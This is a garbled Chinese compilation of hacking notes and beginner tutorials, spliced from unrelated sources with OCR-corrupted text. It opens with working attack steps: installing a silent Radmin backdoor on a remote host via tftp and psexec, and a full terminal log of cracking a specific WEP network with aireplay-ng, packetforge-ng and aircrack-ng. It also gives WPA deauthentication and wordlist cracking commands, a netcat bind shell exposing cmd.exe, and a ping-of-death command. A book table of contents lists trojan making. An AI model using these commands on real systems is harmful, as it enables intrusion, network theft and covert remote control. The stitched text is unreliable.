cmd.exe/前提对方主机默认配置为admin$打开在攻击主机上开始tftp服务器在psexec窗口执行上传操作Tftp -i tftp服务器ip地址get (put方向不一样)r_server.exe/raddrv.dll/admdll.dll/aaa.reg 安装后门r_server.exe /install /silencer_server.exe /port:9999 /pass:111 /save /silenceRegedit /s aaa.regNet start r_server用netstat -an 确认端口开启用radmin客户端去连接控制反弹型木马1、花生壳、免费域名无线网络破解1、通讯的安全=算法*密钥*协议Networkstumble 1、bssid:mac 2、essid:名字3、channel 4、encryption 加密类型wep/wpa/wpa22、用omnipeek抓包破解wep 64b ---- 400000Wep 128b ------1m3、用winaircrack 破解捕获的数据包Windwos平台破解Bt3破解如果fake authentication 不能功-o 10Last login: Sun Dec 7 03:19:36 2008 from 172.19.1.211Linux 2.6.21.5.bt ~ # aireplay-ngAireplay-ng 1.0 rc1 r1083 - (C) 2006,2007,2008 Thomas d'OtreppeOriginal work: Christophe Devineusage: aireplay-ng <options> <replay interface>Filter options:-b bssid : MAC address, Access Point-d dmac : MAC address, Destination-s smac : MAC address, Source-m len : minimum packet length-n len : maximum packet length-u type : frame control, type field-v subt : frame control, subtype field-t tods : frame control, To DS bit-f fromds : frame control, From DS bit-w iswep : frame control, WEP bit-D : disable AP detectionReplay options:-x nbpps : number of packets per second-p fctrl : set frame control word (hex)-a bssid : set Access Point MAC address-c dmac : set Destination MAC address-h smac : set Source MAC address-g value : change ring buffer size (default: 8)-F : choose first matching packetFakeauth attack options:-e essid : set target AP SSID-o npckts : number of packets per burst (0=auto, default: 1) -q sec : seconds between keep-alives-y prga : keystream for shared key authArp Replay attack options:-j : inject FromDS packetsFragmentation attack options:-k IP : set destination IP in fragments-l IP : set source IP in fragmentsTest attack options:-B : activates the bitrate testsource options:-i iface : capture packets from this interface-r file : extract packets from this pcap fileattack modes (Numbers can still be used):--deauth count : deauthenticate 1 or all stations (-0)--fakeauth delay : fake authentication with AP (-1)--interactive : interactive frame selection (-2)--arpreplay : standard ARP-request replay (-3)--chopchop : decrypt/chopchop WEP packet (-4)--fragment : generates valid keystream (-5)--caffe-latte : query a client for new IVs (-6)--cfrag : fragments against a client (-7)--test : tests injection and quality (-9)--help : Displays this usage screenNo replay interface specified.bt ~ # ifconfig -aeth0 Link encap:Ethernet HWaddr 00:0C:29:4A:BF:A9inet addr:172.19.1.200 Bcast:172.19.255.255 Mask:255.255.0.0UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1RX packets:3475 errors:0 dropped:0 overruns:0 frame:0TX packets:4434 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:292204 (285.3 KiB) TX bytes:3357741 (3.2 MiB)Interrupt:16 Base address:0x2000lo Link encap:Local Loopbackinet addr:127.0.0.1 Mask:255.0.0.0UP LOOPBACK RUNNING MTU:16436 Metric:1RX packets:0 errors:0 dropped:0 overruns:0 frame:0TX packets:0 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:0RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)wlan0 Link encap:UNSPEC HWaddr 00-C0-CA-1E-E2-B4-00-00-00-00-00-00-00-00-00-00UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1RX packets:8840 errors:0 dropped:0 overruns:0 frame:0TX packets:0 errors:0 dropped:0 overruns:0 carrier:0collisions:0 txqueuelen:1000RX bytes:1233831 (1.1 MiB) TX bytes:0 (0.0 b)bt ~ # aireplay-ng -1 0 -a 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4 wlan003:31:37 Waiting for beacon frame (BSSID: 00:1F:33:D3:7C:F4) on channel 103:31:37 Sending Authentication Request (Open System) [ACK]03:31:37 Authentication successful03:31:37 Sending Association Request [ACK]03:31:37 Association successful :-) (AID: 1)bt ~ # aireplay-ngAireplay-ng 1.0 rc1 r1083 - (C) 2006,2007,2008 Thomas d'Otreppe Original work: Christophe Devineusage: aireplay-ng <options> <replay interface>Filter options:-b bssid : MAC address, Access Point-d dmac : MAC address, Destination-s smac : MAC address, Source-m len : minimum packet length-n len : maximum packet length-u type : frame control, type field-v subt : frame control, subtype field-t tods : frame control, To DS bit-f fromds : frame control, From DS bit-w iswep : frame control, WEP bit-D : disable AP detectionReplay options:-x nbpps : number of packets per second-p fctrl : set frame control word (hex)-a bssid : set Access Point MAC address-c dmac : set Destination MAC address-h smac : set Source MAC address-g value : change ring buffer size (default: 8)-F : choose first matching packetFakeauth attack options:-e essid : set target AP SSID-o npckts : number of packets per burst (0=auto, default: 1)-q sec : seconds between keep-alives-y prga : keystream for shared key authArp Replay attack options:-j : inject FromDS packetsFragmentation attack options:-k IP : set destination IP in fragments-l IP : set source IP in fragmentsTest attack options:-B : activates the bitrate testsource options:-i iface : capture packets from this interface-r file : extract packets from this pcap fileattack modes (Numbers can still be used):--deauth count : deauthenticate 1 or all stations (-0)--fakeauth delay : fake authentication with AP (-1)--interactive : interactive frame selection (-2)--arpreplay : standard ARP-request replay (-3)--chopchop : decrypt/chopchop WEP packet (-4)--fragment : generates valid keystream (-5)--caffe-latte : query a client for new IVs (-6)--cfrag : fragments against a client (-7)--test : tests injection and quality (-9)--help : Displays this usage screenNo replay interface specified.bt ~ # aireplay-ng -5 -b 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4 wlan003:33:40 Waiting for beacon frame (BSSID: 00:1F:33:D3:7C:F4) on channel 1 03:33:40 Waiting for a data packet...Read 210 packets...Size: 107, FromDS: 0, ToDS: 1 (WEP)BSSID = 00:1F:33:D3:7C:F4Dest. MAC = 00:1F:33:D3:7C:F4Source MAC = 00:0C:F1:21:5E:EB0x0000: 0841 d500 001f 33d3 7cf4 000c f121 5eeb .A....3.|....!^.0x0010: 001f 33d3 7cf4 0039 1c24 f400 9af4 0dbb ..3.|..9.$......0x0020: 0ca8 ebf1 e460 1a05 fb96 943f d1e5 819d .....`.....?....0x0030: a7bb 241b 3db4 517a 935d 82e6 d851 beca ..$.=.Qz.]...Q..0x0040: 7257 d1f2 e17d 4715 6116 90cf 83cd d987 rW...}G.a.......0x0050: 772f 6675 26d6 76d6 99f1 08d8 b8ec c13e w/fu&.v........>0x0060: e495 2a0a c933 90d9 4330 e3 ..*..3..C0.Use this packet ? ySaving chosen packet in replay_src-1207-033342.cap03:33:48 Data packet found!03:33:48 Sending fragmented packet03:33:48 Got RELAYED packet!!03:33:48 Trying to get 384 bytes of a keystream03:33:48 Got RELAYED packet!!03:33:48 Trying to get 1500 bytes of a keystream03:33:48 Got RELAYED packet!!Saving keystream in fragment-1207-033348.xorNow you can build a packet with packetforge-ng out of that 1500 bytes keystream bt ~ # packetforge-ngPacketforge-ng 1.0 rc1 r1083 - (C) 2006,2007,2008 Thomas d'Otreppe Original work: Christophe Devine and Martin BeckUsage: packetforge-ng <mode> <options>Forge options:-p <fctrl> : set frame control word (hex)-a <bssid> : set Access Point MAC address-c <dmac> : set Destination MAC address-h <smac> : set Source MAC address-j : set FromDS bit-o : clear ToDS bit-e : disables WEP encryption-k <ip[:port]> : set Destination IP [Port]-l <ip[:port]> : set Source IP [Port]-t ttl : set Time To Live-w <file> : write packet to this pcap file-s <size> : specify size of null packet-n <packets> : set number of packets to generateSource options:-r <file> : read packet from this raw file-y <file> : read PRGA from this fileModes:--arp : forge an ARP packet (-0)--udp : forge an UDP packet (-1)--icmp : forge an ICMP packet (-2)--null : build a null packet (-3)--custom : build a custom packet (-9)--help : Displays this usage screenPlease specify a mode.bt ~ #packetforge-ng -0 -a 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4 -l 255.255.255.255 -k 255.255.255.255 -y /root/frfragment-1020-130603.xor fragment-1108-025108.xor fragment-1130-070213.xorfragment-1028-071313.xor fragment-1112-081947.xor fragment-1206-053848.xorfragment-1028-084211.xor fragment-1125-061640.xor fragment-1207-033348.xorbt ~ # packetforge-ng -0 -a 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4 -l 255.255.255.255 -k 255.255.255.255 -y /root/fragment-1207-033348.xor -r taiyuanarp wlan0open failed: No such file or directorybt ~ # packetforge-ng -0 -a 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4 -l 255.255.255.255 -k 255.255.255.255 -y /root/fragment-1207-033348.xor -w taiyuanarp wlan0Wrote packet to: taiyuanarpbt ~ # aireplay-ngAireplay-ng 1.0 rc1 r1083 - (C) 2006,2007,2008 Thomas d'OtreppeOriginal work: Christophe Devineusage: aireplay-ng <options> <replay interface>Filter options:-b bssid : MAC address, Access Point-d dmac : MAC address, Destination-s smac : MAC address, Source-m len : minimum packet length-n len : maximum packet length-u type : frame control, type field-v subt : frame control, subtype field-t tods : frame control, To DS bit-f fromds : frame control, From DS bit-w iswep : frame control, WEP bit-D : disable AP detectionReplay options:-x nbpps : number of packets per second-p fctrl : set frame control word (hex)-a bssid : set Access Point MAC address-c dmac : set Destination MAC address-h smac : set Source MAC address-g value : change ring buffer size (default: 8)-F : choose first matching packetFakeauth attack options:-e essid : set target AP SSID-o npckts : number of packets per burst (0=auto, default: 1) -q sec : seconds between keep-alives-y prga : keystream for shared key authArp Replay attack options:-j : inject FromDS packetsFragmentation attack options:-k IP : set destination IP in fragments-l IP : set source IP in fragmentsTest attack options:-B : activates the bitrate testsource options:-i iface : capture packets from this interface-r file : extract packets from this pcap fileattack modes (Numbers can still be used):--deauth count : deauthenticate 1 or all stations (-0)--fakeauth delay : fake authentication with AP (-1)--interactive : interactive frame selection (-2)--arpreplay : standard ARP-request replay (-3)--chopchop : decrypt/chopchop WEP packet (-4) --fragment : generates valid keystream (-5)--caffe-latte : query a client for new IVs (-6)--cfrag : fragments against a client (-7)--test : tests injection and quality (-9)--help : Displays this usage screenNo replay interface specified.bt ~ # aireplay-ng -2 -b 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4No replay interface specified."aireplay-ng --help" for help.bt ~ # aireplay-ng -2 -x 1024 -b 00:1f:33:d3:7c:f4 -h 00:C0:CA:1E:E2:B4 -r /root/taiyuanarp wlan0Size: 68, FromDS: 0, ToDS: 1 (WEP)BSSID = 00:1F:33:D3:7C:F4Dest. MAC = FF:FF:FF:FF:FF:FFSource MAC = 00:C0:CA:1E:E2:B40x0000: 0841 0201 001f 33d3 7cf4 00c0 ca1e e2b4 .A....3.|.......0x0010: ffff ffff ffff 8001 8268 cb00 f50e 9369 .........h.. (i)0x0020: b050 8f87 9697 48ad 5237 d0de ad4b 0d4f .P....H.R7...K.O0x0030: 4f31 d217 feb0 2b52 b1a3 b8fa a535 9bca O1....+R.....5..0x0040: b3ac a461 ...aUse this packet ? ySaving chosen packet in replay_src-1207-033730.capYou should also start airodump-ng to capture replies.End of file.bt ~ #bt taiyuan # aircrack-ng *.ivsOpening taiyuan-01.ivsRead 9753 packets.# BSSID ESSID Encryption1 00:1F:33:D3:7C:F4 sony WEP (9751 IVs)2 00:60:B3:33:7C:01 Shanxi University Wireless UnknownIndex number of target network ? 1Opening taiyuan-01.ivsAttack will be restarted every 5000 captured ivs.Starting PTW attack with 10666 ivs.破解wpaaireplay-ng -0 5 -a 00:1f:33:d3:7c:f4 -c 00-1B-77-11-1D-11 wlan0aircrack-ng *.ivs -w /root/wordlist.txt (hash 彩虹表)/需要抓到一次完整的四次handshake 才可以缓冲区溢出1、在a主机上nc.exe -l -p 8000 在b主机telnet ip_a 80002、在a主机上nc.exe -l -p 9000 -t -e c:\windows\system32\cmd.exe 。
黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的,但在媒体媒体报道中,黑客一词往往指那些软件骇客(software cracker)。
但是随着互联网的不断发展,以及网络安全的不断加固,一些人开始视黑客为一项业余的嗜好,而这些人不做恶意破坏,只追求共享黑客最早源自英文hacker,早期在美国的电脑界是带有褒义的,但在媒体媒体报道中,黑客一词往往指那些“软件骇客”(software cracker)。
但是随着互联网的不断发展,以及网络安全的不断加固,一些人开始视“黑客”为一项业余的嗜好,而这些人不做恶意破坏,只追求共享、免费,他们的出现推动了计算机和网络的发展与完善。
那么对于一些初级爱好者来说,黑客基础入门知识便显得尤为重要,今日小编就为大家带来了黑客基础入门之初级安全命令介绍,以便初学者能够更好的追求自己的业余嗜好。
在M$的操作系统中,与网络安全较有关系的几个命令/程序是:ping\winipcfg\tracert\net\at\netstat。
因此,小编将一一为大家介绍:1. ping:这是TCP/IP协议中最有用的命令之一它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS][-r count] [-s count] [[-j host-list] [-k host-list]][-w timeout] destination-listOptions:-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)-a Resolve addresses to hostnames.(把IP转为主机名)-n count Number of echo requests to send.(响应请求的数量)-l size Send buffer size.(封包的大小)-f Set Don't Fragment flag in packet.(信息包中无碎片)-i TTL Time To Live.(时间)-v TOS Type Of Service.(服务类型)-r count Record route for count hops.-s count Timestamp for count hops.-j host-list Loose source route along host-list.-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)比如大家可能都知道的一个命令# ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。
菜鸟黑客技术入门学习方法三篇第1条新手黑客技术入门学习方法入门学习方法新手黑客技术入门序言看到很多新手初学者找不到合适的黑客学习方法,到处碰壁,不仅伤害了信心和兴趣,还耽误了很多高尚的时间和金钱,做了很多无用的工作,到头来没有收获。
因此,我总结了一些我个人的学习方法和经验。
当然,其中一些也是我的朋友在网上教的。
我希望我能给我新介绍的朋友一些参考,这样他们可以少走弯路。
如果你是一只老鸟,觉得本教程对你没有帮助,请跳过本教程。
毕竟,不是每个人都像你一样掌握了好的学习方法。
那些困惑的新手学生需要这样一个没有顺序的序列号的教程。
我希望每个人都能拿出自己的经验来补充。
两种具体的黑客学习方法1使用搜索引擎这是一种有效的学习方法,我相信每个大师都从中受益匪浅,这也是一个新手最好的老师,她随时待命,她听她的话,很有力量。
强烈建议每个人在遇到问题之前咨询公共搜索引擎,比如著名的谷歌。
别告诉我你不知道,还有百度等等。
有了这种搜索引擎,你几乎可以搜索任何你想要的东西,比如文章、教程、软件、安全网站、安全论坛等等。
第二页总共是87页,所以不要问什么端口3389是未来搜索3389空白端口空白漏洞。
流光下载到哪里搜索流光空间工具?ipc如何使用搜索ipcContent空间来入侵空间教程和搜索引擎可以充分参考的其他问题。
如果你一定要问,没关系,你会得到一个简单明了的答案“搜索”。
请不要因为这位专家的不耐烦而责备他。
面对成千上万这样的新手问题,他已经很有人情味了。
因此,可以看出掌握好的学习技巧对新手来说非常重要。
许多新手最终放弃了黑客学习,因为他们像这样到处碰壁。
*不使用搜索引擎对新手来说是致命的,你会有困难,相反,你会取得快速进步。
网站/论坛中使用的搜索引擎是相似的。
例如,如果你现在需要一个教程或者黑客软件,并且你认为在谷歌上找到的东西太杂或者不专业,那么你可以在主要的安全网站或者论坛上搜索红客教程。
这些网站的内部引擎中的教程或软件通常是相对有保证的。
第1章黑客基础知识1.1认识黑客技巧1什么是黑客技巧2黑客常用的攻*手段1.2 IP地址与端口技巧1认识IP与IP地址技巧2认识端U及其分类技巧3杏看端U技巧4关Pdj端U技巧5限制端UJ1.3熟悉系统进程技巧1査看系统中运行的进程技巧2怎样查看进程起始位置技巧3如何杏看他人电脑中的系统进程技巧4如何判断系统进程是否正常技巧5关闭正在运行的进程技巧6新建系统进程技巧7杏看隐藏的进程技巧8如何杏汆痫毒进程第2章黑客常用的命令与工具 2.1基木DOS命令技巧1使用dit•命令显示目录技巧2使用cd命令进入R录技巧3使用rd命令删除R录技巧4使用md命令新建R录技巧5使用del命令删除文件技巧6在DOS环境下常用的快捷键2.2网络命令应用技巧1使用ping命令测试网络技巧2使用net命令管理网络技巧3使用ftp命令上传下载文仲技巧4使用telnet命令登录远程电脑技巧5使用at命令执行任务技巧6使用netstat命令显示网络连接信息技巧7使用arp命令敁示与修改本地ARP信息技巧8使用system info命令显示系统信息技巧9使用nslookup命令诊断域名系统技巧10使用ipconfig命令査看网络配置信息2.3黑客常用丄具技巧1使用HostScan扫描网络主机技巧2使用流光扫描器技巧3使用网络神偷远程控制器技巧4使用SSS扫描器技巧5其他黑客常用软件第3章Windows系统安全防范3.1修补系统漏洞技巧1 了解系统漏洞技巧2利用系统更新及时修复系统漏洞技巧3使用金山卫十修复系统漏洞技巧4使用360安全卫士修S系统漏洞3.2系统安企设置技巧1禁用来宾账户技巧2防止ping命令探测系统技巧3设贾代理服务器隐藏IP技巧4査看默认共卒技巧5关闭默认共享技巧6当用户离开时快速锁定桌而3.3注册表安全设置技巧1熟悉注册表技巧2禁止远程修改注册表技巧3禁止其他用户在桌而上添加快捷方式技巧4禁止危险的U动项技巧5永久矢闭默认共享技巧6禁止•通用户杏看事件记录技巧7揪岀隐藏的超级用户技巧8设置注册隐藏"丌始"菜单的快捷命令技巧9配置注册表防止DDoS攻击技巧10禁止播放网页屮的动脚\声音和视频技巧11发生错误时不弹出警告窗U3.4组策略安全设置技巧1熟悉组策略技巧2设置账户锁定策略技巧3禁用重耍策略选项技巧4禁止远程访问注册表技巧5使用批处理文件在每次U动系统时失W默认丼V技巧6禁止更改桌而设置技巧7禁用n开始"菜单中的命令技巧8禁止访问控制而板技巧9关闭135端口技巧10利用组策略锁定注册表技巧11利用组策略清理上网痕迹技巧12利用组策略启用重要系统功能技巧13只柯木地登录的用户才能访问CD-ROM第4章信息搜集与漏洞扫描4.1搜集信息技巧1使用ping命令获取IP地址技巧2使用专业网站获取IP地址技巧3使用超级IP杏询丄具获取n称物理位置技巧4通过专业网站査询IP地址所在位置技巧5杏询网站备案信息4.2检测系统漏洞技巧1使用漏洞扫描器检杏系统漏洞技巧2使用X-Scan扫描器检査系统漏洞技巧3使用MBSA检测系统安全性技巧4使用瑞®系统安全漏洞扫描检测系统漏洞技巧5使用系统漏洞扫描助手扫描系统漏洞4.3扫描服务和端口技巧1使用SuperScan扫描器扫描服务和端口技巧2使用LanSee局域网查看丄具•查看他人主机中的端口技巧3使用黑客字典编辑弱口令的扫描规则技巧4使用弱口令扫描器获取口令技巧5使用Nmap扫描器技巧6解决使用扫描工具过程屮出现突然停止响应的现象技巧7解答使用端U扫描器时扫描不到QQ程序开放端U的原因第5章密码攻防5.1 BIOS密码攻防技巧1设置BIOS用户密码技巧2设置BIOS超级用户密码技巧3设置密码检测方式技巧4利用CMOS放电法破解BIOS密码技巧5利用跳线短接破解BIOS密码5.2操作系统密码攻防技巧1设置账户登录密码技巧2设贾电源管理密码技巧3设置屏幕保护密码技巧4利用密码:重设盘破解系统密码技巧5利用软件破解系统管理员密码技巧6删除Sam文件破解Windows登录密码技巧7破解Windows辨仅密码5.3办公文档密码攻防技巧1加密Word文档技巧2设置窗体保护技巧3加密Excel文档技巧4杏看Access数据痄密码技巧5破解Office文档密码技巧6利用WinRAR加密文件技巧7破解RAR压缩文件密码技巧8破解ZIP文件密码技巧9破解Outlook Express密码技巧10破解PDF文档密码技巧11破解Foxmail账户密码技巧12杏看星号"*"密码技巧13破解使用Windows优化人师加密的文件第6章远程控制攻防6.1 Windows 7远程桌而选接技巧1允许远程桌而连接技巧2发起远程桌而连接技巧3句远程桌而传送文件6.2 Windows 7远程协助技巧1允许远程协助技巧2邀请他人远程协助技巧3利用远程协助帮助他人技巧4远程协助和远程桌而的区别6.3使用r.具实现远程控制技巧1使用腾讯QQ实现远程控制技巧2使用QQ远程控制获取被控端主机文件技巧3使用QQ远程控制矢闭被控端主机技巧4使用QuickIP实现远程控制技巧5使用pcAnywhere实现远程投制技巧6使用灰鸽子实现远程控制第7章网页攻防7.1査杀与防范网贝恶意代码技巧1什么是网贞恶意代码技巧2恶意代码的传播方式和趋势技巧3网贝恶意代码的攻击原理与方式技巧4杏杀网页恶意代码技巧5防范M页恶意代码技巧6解决主页设置锁定的问题7.2 M络炸弹攻防技巧1初识网络炸弹技巧2 M络炸弹都科哪些种类技巧3网络炸弹攻击实例技巧4防御网络炸弹技巧5清除网络标题朽被添加的非法信息7.3网络浏览器安伞设置技巧1设置Internet安全级另ij技巧2禁止用户添加或删除安企区域中的站点技巧3设置"Internet属性"对话框中选项卡的访问权限技巧4设置"常规"选项卡屮的按钮是否可用技巧5设置"P、j稃"选项卡屮的按钮是否可用技巧6禁用"帮助"菜单技巧7启动浏览器时不加载任何页而技巧8设置隐私级别技巧9禁止更改安企区域设置技巧10过滤弹出广告页而技巧11禁止IE组件的A动安装技巧12禁用IE中鼠标右键功能技巧13打开仿胃网站筛选功能技巧14禁止更改浏览器的主页技巧15锁定IE的下载功能技巧16更改ActiveX文件卜载存放的位置技巧17关闭网络时&动清空临时文什夹技巧18免疫3721等插件技巧19取消安伞网页的缓存技巧20清除円常上网痕迹技巧21屏蔽网络A动完成功能技巧22允许旧对Windows Installer脚本的安全提示第8章QQ、MSN和E-mail攻防8.1走近QQ攻*技巧1QQ的攻击方式技巧2做好QQ的防范策略技巧3QQ攻*的危害8.2 QQ攻防实战技巧1使用阿拉QQ大盗技巧2 QQ尾巴生成器技巧3 QQ强制聊天技巧4 QQ炸弹攻防剖析技巧5设置代理隐藏木地IP地址技巧6使用QQ医生扫描盗号木马技巧7加密QQ聊天记录技巧8将QQ彻底隐藏技巧9文件接收安企设置技巧10自定义QQ接收文件的保存路径技巧11通过密码保护找被盜的QQ号码技巧12通过中诉找W QQ密码技巧13如何避免键盘记录器记录QQ账号密码技巧14被盗QQ号屮的好友恢复技巧15从源义•杜绝黑客盗取QQ密码8.3 MSN安全技巧1撤销MSN自动登录技巧2让杀莓软件A动扫描接收文件技巧3认识和清除"MSN密码窈贼"技巧4用另类方法保护MSN聊天记录技巧5在Windows Live Messenger中隐藏IP地址技巧6 A动扪绝不安企文件传输技巧7使用Windows OneCare安伞扫描程序技巧8加密Windows Live Messenger联系人列表技巧9让MSN隐藏摄像头技巧10阻止不受欢迎的客人技巧11认识和清除n MSN性感鸡”(MSN.DropBot.b) 技巧12认识和清除”(\/13门小尾巴"8.3电子邮箱攻防技巧1常见的电子邮箱攻击手段技巧2电子邮件安企策略技巧3使用流光扫描器盗取邮箱技巧4禁止旧记录登录信息技巧5过滤垃圾邮件技巧6设置邮箱密码保护技巧7找回邮箱密码技巧8 A动扪绝邮件炸弹第9章木马攻防9.1认识木马技巧1木马的特性与分类技巧2常见的木马类型技巧3木马的启动方式技巧4常用的木马入侵手段技巧5木马的伪装手段技巧6木马的防范策略技巧7电脑中木马病毐的主耍途径技巧8电脑受到木马入侵后的表现9.2木马的制作技巧1制作chm电子书木马技巧2制作软件捆绑木马技巧3制作自解m木马9.3预防木马入侵技巧1增强木马防范意识技巧2设置注册表权限防木马启动技巧3禁止硬盘AutoRun功能预防木马运行技巧4禁用屏保预防木马运行技巧5防范反弹端口型木马技巧6分离带木马的文件9.4使用软件查杀木马程序技巧1使用金山网盾防御木马程序技巧2使用金山卫士査杀木马程序技巧3使用木马克星杏汆木马程序技巧4使用Windows木马清道夫清除木马技巧5使用360安全卫士杏汆木马程序9.5手工淸除木马实例技巧1清除冰河木马技巧2清除机器狗系列木马技巧3清除网游盗号木马技巧4清除"广外女生"木马技巧5清除"QQSPY密码间谋"木马技巧6清除"WAY"木马第10章防范电脑病莓10.1 了解计算机病毒技巧1初识电脑病毐技巧2电脑病毐的预防技巧3如何判断是否中了病毐10.2手动杏毐与防毐技巧1利用BIOS设置防毒技巧2根裾进程丧求病毒技巧3设置注册表权限防病毒启动技巧4使用在线病毒检测技巧5清除新型痫毒技巧6巧用故障恢S控制台删除病毐技巧7阁片病毐的防范技巧8利用批处理文件防范病莓技巧9防范移动存储设备传播病毐10.3常见杀毐软件应用技巧1使用瑞星杀毐软件技巧2使用江民汆毒软件技巧3使用卡巴斯基汆毒软件技巧4使用金山毒碗系毒软什技巧5使用求毒软什要提高警惕技巧6杏汆电脑病毒的注意事项10.4清除常见病毐实例技巧1感染"熊猫烧香"病莓后的处理方法技巧2感染"威金"病诲后的处理方法技巧3清除n QQ消息连发器"病毐技巧4清除"神速"木马技巧5清除n Zotob"狙*波病莓技巧6清除"爱怡森林"病毒技巧7 "爱悄森林"炳毒变种一的清除技巧8 "爱悄森林"炳毒变种二的清除技巧9 "爱悄森林"病毒变种三的清除技巧10 "爱情森林"病毒变种四的清除10.5 U盘病莓的预防与杏杀技巧1査杀U盘病毒技巧2使用金ill毒霸杏汆U盘病莓技巧3手动查杀U盘病莓第11章防范流氓软件与间谍软件11.1认识流氓软件勾间谍软件技巧1与流氓软件零距离接触技巧2初步认识间谍软件11.2防范与清除流氓软件技巧1防范流氓软件技巧2使用超级兔子清理流氓软件技巧3使用瑞星卡卡清理流氓软件技巧4使用金山卫士清理流氓软件技巧5 Windows流氓软件清理人师的使用11.3防范与清除间谍软件技巧1使用Spy Sweeper清除闽谍软件技巧2使用事件查看器査找本机间谍软件技巧3使用Windows Defender杏系间谍软件技巧4清除流氓软件和间谍软件应该注意的问题技巧5防止间谍软件的其他措施11.4遭遇恶意代码和流氓软件后的修S技巧1默认主贝被修改技巧2默认首页被修改技巧3主页设置被屏蔽锁定,且设置选项不可更改技巧4默认的IE搜索引擎被修改技巧5 IE标题栏被添加非法信息技巧6鼠杈右键菜单被添加非法网站链接技巧7禁用鼠标右键弹ili菜单功能技巧8锁定地址栏的下拉菜单并添加文字信息提示技巧9 IE"査看"菜单下的"源文件"项被禁用。
网络安全编程基础知识网络安全编程基础知识汇总网络安全编程基础知识包括以下几个方面:1.TCP/IP协议与网络安全:TCP/IP协议是网络安全的基石,需要理解其各层协议及其安全性问题,以及如何通过安全机制来增强其安全性。
2.加密与解密技术:网络安全编程的基础是加密与解密技术,需要理解对称加密和非对称加密的原理、数字签名和公钥基础设施(PKI)等。
3.防火墙技术:防火墙是网络安全的重要措施之一,需要理解其工作原理、配置方法和常见的实现技术等。
4.入侵检测与防御系统:入侵检测与防御系统是网络安全的重要保障之一,需要理解其工作原理、实现技术和常见的实现方案等。
5.网络安全漏洞与防范:网络安全漏洞是网络安全的主要威胁之一,需要理解其分类、危害程度和防范措施等。
6.网络安全编程语言与工具:网络安全编程语言和工具是网络安全编程的基础,需要熟悉常见的网络安全编程语言和工具,如Python、PHP、Java、VBScript 等。
7.网络安全法律法规与道德规范:网络安全法律法规和道德规范是网络安全编程的法律依据和行为准则,需要了解相关法律法规和道德规范,并遵守相关规定。
以上是网络安全编程的基础知识,需要全面掌握和了解,以确保网络安全。
网络安全编程基础知识归纳网络安全编程基础知识主要包括以下几个方面:1.TCP/IP协议族与协议:了解常见的网络协议,如TCP、UDP、ICMP、IP等,并理解其作用、工作原理以及应用场景。
2.网络安全概念:理解网络安全的基本概念,如防火墙、VPN、入侵检测系统等,并能够分析其优缺点及适用场景。
3.编程基础:熟悉C、C++、Java等编程语言,掌握基本的语法、数据类型、控制结构、函数等概念。
4.网络编程基础:了解网络编程的基本概念,如Socket、IP包、TCP连接等,并掌握基本的网络编程接口,如send、recv、connect等。
5.网络安全编程技术:掌握常见的网络安全编程技术,如网络扫描、漏洞利用、木马病毒等,并能够使用相关工具进行渗透测试。
最简单的黑客入门教程目录1黑客简介 (2)2保护自己电脑绝对不做黑客肉鸡 (2)3抓肉鸡的几种方法 (5)4防止黑客通过EGplorer侵入系统 (9)5SQL注入详解 (10)5.1注入工具 (11)5.2php+MPsql注入的误区 (11)5.3简单的例子 (12)5.4语句构造 (14)5.5高级应用 (22)5.6实例 (26)5.7注入的防范 (29)5.8我看暴库漏洞原理及规律1 (29)5.9我看暴库漏洞原理及规律2 (32)6跨站脚本攻击 (34)6.1跨站脚本工具 (34)6.2什么是GSS攻击 (35)6.3如何寻找GSS漏洞 (35)6.4寻找跨站漏洞 (36)6.5如何利用 (36)6.6GSS与其它技术的结合 (38)7GPath注入 (38)7.1GPath注入介绍 (38)7.2GPath注入工具 (41)声明:文章来源大多是网上收集而来,版权归其原作者所有。
1黑客简介"黑客"(hacker)这个词通常被用来指那些恶意的安全破坏者。
关于"黑客"一词的经典定义,最初来源于麻省理工学院关于信息技术的一份文档,之后便被新闻工作者们长期使用。
但是这个在麻省理工被当做中性词汇的术语,却逐渐被新闻工作者们用在了贬义的环境,而很多人也受其影响,最终导致了"黑客"一词总是用于贬义环境。
有些人认为,我们应该接受"黑客"一词已经被用滥并且有了新的意义。
他们认为,如果不认可这种被滥用的词汇,那么将无法与那些不懂技术的人进行有效的交流。
而我仍然认为,将黑客和恶意的骇客(cracker)分开表述,对交流会更有效,比如使用"恶意的安全骇客"会更容易让对方理解我所指的对象,从而能够达到更好的沟通交流效果,也避免了对"黑客"一词的滥用。
之所以要区分黑客和恶意骇客,是因为在某些情况下,我们讨论的对象是那些毫无恶意并且不会对安全防御或者用户隐私造成损害的对象,这些人只有用"黑客"这个词来描述才最贴切。
黑客编程基础good一、了解Windows 内部机制Windows 是一个“基于事件的,消息驱动的”操作系统。
在Windows下执行一个程序,只要用户进行了影响窗口的动作(如改变窗口大小或移动、单击鼠标等)该动作就会触发一个相应的“事件”。
系统每次检测到一个事件时,就会给程序发送一个“消息”,从而使程序可以处理该事件。
每个Windows 应用程序都是基于事件和消息的,而且包含一个主事件循环,它不停地、反复地检测是否有用户事件发生。
每次检测到一个用户事件,程序就对该事件做出响应,处理完再等待下一个事件的发生。
Windows 下的应用程序不断地重复这一过程,直至用户终止程序,用代码来描述实际上也就是一个消息处理过程的while循环语句。
下面便简单介绍一下与Windows 系统密切相关的几个基本概念:⒈窗口:这是我要说的第一个概念。
